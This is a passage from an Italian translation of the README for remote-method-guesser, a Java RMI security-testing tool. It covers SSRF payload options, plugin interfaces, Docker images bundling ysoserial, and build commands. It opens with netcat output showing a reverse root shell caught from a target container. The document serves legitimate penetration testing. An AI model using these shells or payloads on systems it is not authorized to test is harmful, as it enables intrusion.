[qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:35377. id uid=0(root) gid=0(root) groups=0(root)
### Altre Funzionalità
*remote-method-guesser* include molte funzionalità che non sono spiegate in questo file *README.md*. Alcune di esse sono elencate di seguito:
* Quasi tutte le operazioni possono essere utilizzate con l'opzione ``--ssrf`` per creare un payload *SSRF* per l'operazione corrispondente.
* Se si ottiene un output binario del *server RMI* (ad esempio dopo un attacco *SSRF*), è possibile inserirlo in *remote-method-guesser* utilizzando l'opzione ``--ssrf-response``. Questo analizza l'output del server come è stato ottenuto dall'operazione specificata.
* *remote-method-guesser* può essere esteso utilizzando il suo *Sistema di Plugin*. Quattro interfacce (``IPayloadProvider``, ``IResponseHandler``, ``IArgumentProvider`` e ``ISocketFactoryProvider``) possono essere utilizzate per adattare *remote-method-guesser* a scenari d'uso più complessi.
* Durante l'azione ``guess``, è possibile utilizzare l'opzione ``--create-samples`` per generare codice *Java* che può essere utilizzato per invocare metodi indovinati con successo.
Maggiori informazioni su queste funzionalità si trovano nella [cartella della documentazione](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs).
### Immagine Docker
----
Dalla versione `v4.4.0`, *remote-method-guesser* è disponibile anche come immagine docker e può essere scaricata dal [Registro Container di GitHub](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg).
Per ogni rilascio, sono disponibili una versione *normale* e una *slim*. Entrambe forniscono una versione funzionante completa di *remote-method-guesser*, ma solo la versione *normale* include [ysoserial](https://github.com/frohoff/ysoserial), risultando in un'immagine più grande:
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0` - `121MB`
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0-slim` - `61.9MB`
Puoi anche costruire il contenitore autonomamente eseguendo i seguenti comandi:```console
[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser
[user@host ~]$ cd remote-method-guesser && docker build -t rmg .
remote-method-guesser è stato fortemente influenzato dai post del blog di Hans-Martin Münch e Jake Miller. Inoltre, la wordlist di rmiscout è stata ovviamente copiata dal progetto rmiscout (come si può già notare dal diverso accordo di licenza). Grazie, Jake, per questa fantastica wordlist di metodi remoti raccolta da diversi repository GitHub.
Copyright 2023, Tobias Neitzel e i contributori di remote-method-guesser.